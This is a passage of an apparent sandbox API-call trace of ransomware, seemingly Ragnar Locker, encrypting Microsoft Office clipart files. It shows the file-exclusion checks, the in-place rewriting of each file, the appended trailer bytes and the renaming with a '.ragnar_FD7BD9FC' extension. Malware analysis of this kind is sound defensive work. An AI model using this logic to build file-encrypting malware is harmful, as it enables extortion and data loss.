ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1 [0089.592] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.592] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00898_.WMF" | out: lpString1="PE00898_.WMF") returned="PE00898_.WMF" [0089.593] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF") returned=".WMF" [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="autorun.inf") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="boot.ini") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="bootfont.bin") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="bootsect.bak") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="bootmgr") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="bootmgr.efi") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="desktop.ini") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="iconcache.db") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="ntldr") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="ntuser.dat") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="ntuser.ini") returned 1 [0089.593] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="thumbs.db") returned -1 [0089.593] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.593] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.593] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.593] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.593] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.593] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.593] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf")) returned 0x20 [0089.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.594] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6408) returned 1 [0089.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.594] GetProcessHeap () returned 0x580000 [0089.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.594] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.595] VirtualAlloc (lpAddress=0x0, dwSize=0x1908, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.596] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1908, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1908, lpOverlapped=0x0) returned 1 [0089.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1908, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.597] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1908, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1908, lpOverlapped=0x0) returned 1 [0089.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1908, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.597] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1908, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.597] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.597] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.597] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.597] GetProcessHeap () returned 0x580000 [0089.597] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.597] CloseHandle (hObject=0xf4) returned 1 [0089.597] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" [0089.597] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.ragnar_FD7BD9FC" [0089.598] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.598] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1 [0089.598] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.598] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00934_.WMF" | out: lpString1="PE00934_.WMF") returned="PE00934_.WMF" [0089.598] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF") returned=".WMF" [0089.598] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.598] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="autorun.inf") returned 1 [0089.598] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="boot.ini") returned 1 [0089.598] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="bootfont.bin") returned 1 [0089.598] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="bootsect.bak") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="bootmgr") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="bootmgr.efi") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="desktop.ini") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="iconcache.db") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="ntldr") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="ntuser.dat") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="ntuser.ini") returned 1 [0089.599] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="thumbs.db") returned -1 [0089.599] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.599] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.599] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.599] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.599] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.599] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.599] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf")) returned 0x20 [0089.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.600] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12544) returned 1 [0089.600] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.600] GetProcessHeap () returned 0x580000 [0089.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.600] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.601] VirtualAlloc (lpAddress=0x0, dwSize=0x3100, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.601] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3100, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3100, lpOverlapped=0x0) returned 1 [0089.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.603] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3100, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.603] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3100, lpOverlapped=0x0) returned 1 [0089.603] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3100, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.603] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3100, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.603] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.603] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.604] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.604] GetProcessHeap () returned 0x580000 [0089.604] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.604] CloseHandle (hObject=0xf4) returned 1 [0089.604] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" [0089.604] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.ragnar_FD7BD9FC" [0089.604] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1 [0089.604] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.605] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00998_.WMF" | out: lpString1="PE00998_.WMF") returned="PE00998_.WMF" [0089.605] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF") returned=".WMF" [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="autorun.inf") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="boot.ini") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="bootfont.bin") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="bootsect.bak") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="bootmgr") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="bootmgr.efi") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="desktop.ini") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="iconcache.db") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="ntldr") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="ntuser.dat") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="ntuser.ini") returned 1 [0089.605] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="thumbs.db") returned -1 [0089.605] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.605] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.605] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.605] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.605] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.605] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.605] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf")) returned 0x20 [0089.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.606] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10500) returned 1 [0089.606] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.606] GetProcessHeap () returned 0x580000 [0089.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.606] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2904, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.609] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.609] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.609] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2904, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2904, lpOverlapped=0x0) returned 1 [0089.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2904, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.611] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2904, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2904, lpOverlapped=0x0) returned 1 [0089.611] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2904, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.611] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.611] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.611] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.611] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.611] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.611] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.611] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.611] GetProcessHeap () returned 0x580000 [0089.611] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.611] CloseHandle (hObject=0xf4) returned 1 [0089.611] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" [0089.611] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.ragnar_FD7BD9FC" [0089.612] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1 [0089.612] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.612] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE01160_.WMF" | out: lpString1="PE01160_.WMF") returned="PE01160_.WMF" 